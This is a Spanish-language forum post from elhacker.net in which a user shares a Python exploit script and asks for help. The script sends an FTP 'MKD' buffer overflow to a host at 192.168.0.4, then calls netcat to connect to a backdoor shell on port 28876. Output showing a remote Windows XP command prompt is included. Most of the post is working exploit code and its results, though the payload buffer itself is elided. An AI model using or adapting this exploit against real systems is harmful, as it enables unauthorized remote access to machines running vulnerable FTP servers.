elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Python (Moderador: Danielㅤ)
| | |-+  [PYTHON] Ejecutar commando despues de un socket
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PYTHON] Ejecutar commando despues de un socket  (Leído 2,565 veces)
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
[PYTHON] Ejecutar commando despues de un socket
« en: 3 Marzo 2012, 19:14 pm »

Buenas, estoy intentando integrar un comando en bash dentro de un script de python para lanzar un netcat

Esto funciona.
Código:
#!/usr/bin/python
import os
os.system("nc 192.168.0.4 28876 -vvv")

pero quiero meterlo despues de un exploit y el codigo no llega a ejecutarse

Código:
#!/usr/bin/python
 
import socket
import sys
import os

[...]

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.4',21))
 
s.recv(1024)
s.send('USER ftp\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.send('MKD ' + buf + '\r\n')
print "[*] Sending BufferOverflow..."
print "[*]" , (len(buf)) , "bytes Evil code"
print "[*] Starting connection backdoor port 28876"
s.recv(1024)
s.send('QUIT\r\n')
s.close()
sleep(5)
print "[*] Spawning Shell"
os.system("nc 192.168.0.4 28876 -vvv")


cuando lo ejecuto en la consola hace su cometido, pero no llega a la parte final.

Código:
[*] Sending BufferOverflow...
[*] 1017 bytes Evil code
[*] Starting connection backdoor port 28876


Por lo que en otra ventana he de ir y arrancar netcat


Código:
root@bt:~/Desktop# nc 192.168.0.4 28876

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\>


Me hechais un cablecillo??


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Socket Programming HOWTO
Python
Infernal.Root 2 3,313 Último mensaje 6 Marzo 2009, 06:58 am
por asknet
Ejecutar commando y leer resultado
Programación C/C++
alcatraz 2 2,347 Último mensaje 14 Junio 2010, 19:30 pm
por alcatraz
[Ayuda - Python] Socket
Scripting
Softrix18 2 2,395 Último mensaje 17 Febrero 2013, 01:22 am
por Softrix18
PROBLEMA AL EJECUTAR UN PROGRAMA PYTHON UTILIZANDO (PHP) SHELL_EXEC
Scripting
Andrew98 1 3,466 Último mensaje 3 Mayo 2013, 09:39 am
por adastra
[PYTHON]Ejecutar Python en otros equipos.
Python
dimineko 3 2,605 Último mensaje 21 Octubre 2018, 22:40 pm
por huchoko
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines